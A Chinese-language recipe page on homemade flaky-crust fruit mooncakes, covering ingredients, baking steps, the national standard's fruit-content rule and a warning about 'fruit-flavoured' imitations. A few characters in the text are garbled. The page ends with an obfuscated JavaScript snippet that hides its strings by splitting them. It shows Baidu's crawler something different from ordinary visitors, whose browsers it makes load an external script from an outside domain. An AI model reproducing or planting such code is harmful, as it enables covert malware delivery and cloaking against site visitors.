當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

水果月餅的做法-水果月餅的介紹

2015-05-05 09:29:08  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:月餅多數(shù)以多糖、多油脂的蓮蓉、豆沙為原料。隨著經(jīng)濟(jì)的發(fā)展,人們的口味也在不斷變化。低糖、低油脂果漿月餅的推出受到廣大消費(fèi)者的歡迎,

月餅多數(shù)以多糖、多油脂的蓮蓉、豆沙為原料。隨著經(jīng)濟(jì)的發(fā)展,人們的口味也在不斷變化。低糖、低油脂果漿月餅的推出受到廣大消費(fèi)者的歡迎,它降低了月餅中含糖、含油量,而纖維素、礦物質(zhì)、維生素的含量大大提高,符合現(xiàn)代人對(duì)食品既要風(fēng)味好、又要營養(yǎng)保健的要求。

水果月餅的做法-水果月餅的介紹
水果月餅的做法-水果月餅的介紹

水果月餅的做法

真正的水果月餅制作工藝很復(fù)雜,家庭中由于各方面條件的限制,一般比較難以完成。所以,我們要給大家介紹的是酥皮水果月餅的做法,酥皮水果月餅自己動(dòng)手做比較方便,雖然不是傳說中的水果月餅,但是自己動(dòng)手,樂趣無窮,更重要的是,不會(huì)摻假,劍旱安全。主要是由于這種酥皮水果月餅比較容易制作,工藝要求相對(duì)較低。

材料:低筋面粉、西瓜、獼猴桃、蘋果(水果可根據(jù)自己喜歡選擇不同的水果類型)。

輔料:白砂糖、水、豬油煉等適量。

做法:

Step1:將面粉過篩,然后根據(jù)油皮和油酥的用量稱好,分別把油皮、油酥和好,放在一邊松弛半個(gè)小時(shí)左右。

Step2:在等待的時(shí)間可以將水果切細(xì)丁,加少許淀粉拌勻。

Step3:油皮、油酥醒好后,將醒過的油皮,油酥分別搓成長(zhǎng)條,并分成段。

Step4:先取一塊油皮,搟平,然后包入油酥,封口捏緊,以避免油酥漏出來。然后再醒3-5分鐘。

Step5:醒好后,用手掌將面團(tuán)壓平,然后再用搟面杖將面團(tuán)搟成長(zhǎng)條狀,再將它卷起,再醒3-5分。然后醒好后,重復(fù)上述做法,用手掌壓平,搟成長(zhǎng)條,再卷起,再醒3-5分鐘。

Step6:將最后醒好的面團(tuán),搟平包入水果餡。

Step7:然后在月餅表面刷蛋黃水2次,即可放入預(yù)熱200度的烤箱,烤約20-30分鐘,直至表面呈金黃色即可,烤制時(shí)間可根據(jù)自己烤箱而定。

水果月餅的介紹

長(zhǎng)期以來,月餅多數(shù)以多糖、多油脂的蓮蓉、豆沙為原料。隨著經(jīng)濟(jì)的發(fā)展,人們的口味也在不斷變化。低糖、低油脂果漿月餅的推出受到廣大消費(fèi)者的歡迎,它降低了月餅中含糖、含油量,而纖維素、礦物質(zhì)、維生素的含量大大提高,符合現(xiàn)代人對(duì)食品既要風(fēng)味好、又要營養(yǎng)保健的要求。

國家《月餅國家標(biāo)準(zhǔn)》對(duì)于水果月餅的規(guī)定是這樣的:包裹以水果及其制品為主要原料加工成餡的月餅。餡料中水果及其制品的用量應(yīng)不低于25%。超過25%為水果月餅,低于此標(biāo)準(zhǔn)則為“水果味”月餅。

以前吃過水果月餅,外形一小巧居多,其口味雖不敵蛋黃月餅香濃,也不比伍仁月餅有口感,但是卻具備清新爽甜的風(fēng)味。水果月餅的餅皮與普通廣式月餅餅皮無異,但餡料卻主要是果蔬,有哈密瓜、鳳梨、荔枝、草莓、冬瓜、芋頭、烏梅、橙等,又配以果汁或果漿,因此餡心滑軟,風(fēng)味各異。

水果月餅的特點(diǎn)

表明,純正的水果月餅也確實(shí)是劍旱月餅,果漿餡料爽滑可口、不油膩,具有水果清香味。相比蓮蓉、豆沙餡料以蔗糖含量為主,而果漿餡料降低了蔗糖含量,提高了果糖含量。所以水果月餅油脂含量較低,維生素和礦物質(zhì)含量卻大大提高。

水果月餅的申訴

上充斥著各式各樣的水果月餅,但是水果月餅并無水果,而被水果味月餅給忽悠了,水果味月餅根本上是不同于水果月餅的,所以,消費(fèi)者們?cè)谫徺I時(shí)要注意,不要花費(fèi)了冤枉錢。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}